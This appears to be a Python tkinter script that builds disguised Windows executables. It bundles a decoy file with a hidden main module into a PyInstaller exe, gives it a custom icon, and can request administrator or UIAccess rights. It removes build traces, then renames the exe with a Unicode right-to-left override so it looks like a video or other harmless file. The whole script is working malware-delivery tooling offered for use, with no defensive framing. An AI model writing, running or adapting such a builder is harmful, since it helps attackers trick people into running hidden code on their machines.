|
|
|
from tkinter.filedialog import askopenfilename , askdirectory , asksaveasfilename
|
|
from tkinter.simpledialog import askstring
|
|
from tkinter.messagebox import showwarning , askyesno
|
|
import sys
|
|
from PIL import Image
|
|
from shutil import copy2 , rmtree , move
|
|
from os import remove , getcwd
|
|
from subprocess import Popen , PIPE , DEVNULL
|
|
if Popen("pyinstaller",stderr=PIPE).communicate()[0]:
|
|
if not Popen("python -m pip",stderr=PIPE).communicate()[0]:
|
|
Popen("python -m pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
|
|
else:
|
|
showwarning("Python is required to run this program")
|
|
sys.exit()
|
|
def hide_file(openfilename:str, extension:str="mp4",path:str=""):
|
|
openfile = openfilename.split("/")[-1].split(".")
|
|
newname = path +"/"+ openfile[0] + "\u202E"+extension[::-1]+"." + openfile[1]
|
|
copy2(openfilename, newname)
|
|
|
|
|
|
folder = askdirectory(title="SELECT FOLDER")
|
|
Image.open(askopenfilename(filetypes=[("Image",["*.jpg","*.png","*.jpeg","*.ico"])])).convert("RGBA").save(f"{folder}/icon.ico", format="ICO", sizes=[(72, 72)])
|
|
filename = askopenfilename()
|
|
copy2(filename,f"{folder}/{filename.split('/')[-1]}")
|
|
open(f"{folder}/mainfile.py","a+").write(f'''
|
|
from subprocess import Popen
|
|
from os import chdir
|
|
import sys
|
|
from time import sleep
|
|
chdir(sys._MEIPASS+r"\data")
|
|
Popen("{filename.split("/")[-1]}",shell=True).communicate()
|
|
sleep(1)
|
|
import main
|
|
''')
|
|
command = ['pyinstaller', '--noconfirm', '--onefile', '--windowed', '--icon', f'{folder}/icon.ico', '--name', 'software', '--add-data', f'{folder};data/',f'{folder}/mainfile.py']
|
|
if askyesno("UAC","Do you want to run this program as administrator?"):
|
|
command.insert(1,"--uac-admin")
|
|
if askyesno("UAC","Do you want to run this program as Uiaccess?"):
|
|
command.insert(1,"--uac-uiaccess")
|
|
Popen(command,shell=True,stdout=DEVNULL,stderr=DEVNULL).communicate()
|
|
rmtree("build")
|
|
remove("software.spec")
|
|
remove(f"{folder}/icon.ico")
|
|
remove(f"{folder}/mainfile.py")
|
|
remove(f"{folder}/{filename.split('/')[-1]}")
|
|
move("dist/software.exe","software.exe")
|
|
rmtree("dist")
|
|
hide_file("software.exe",filename.split('.')[-1],askdirectory(title="SELECT FOLDER FOR SAVE A FILE"))
|
|
remove("software.exe")
|
|
|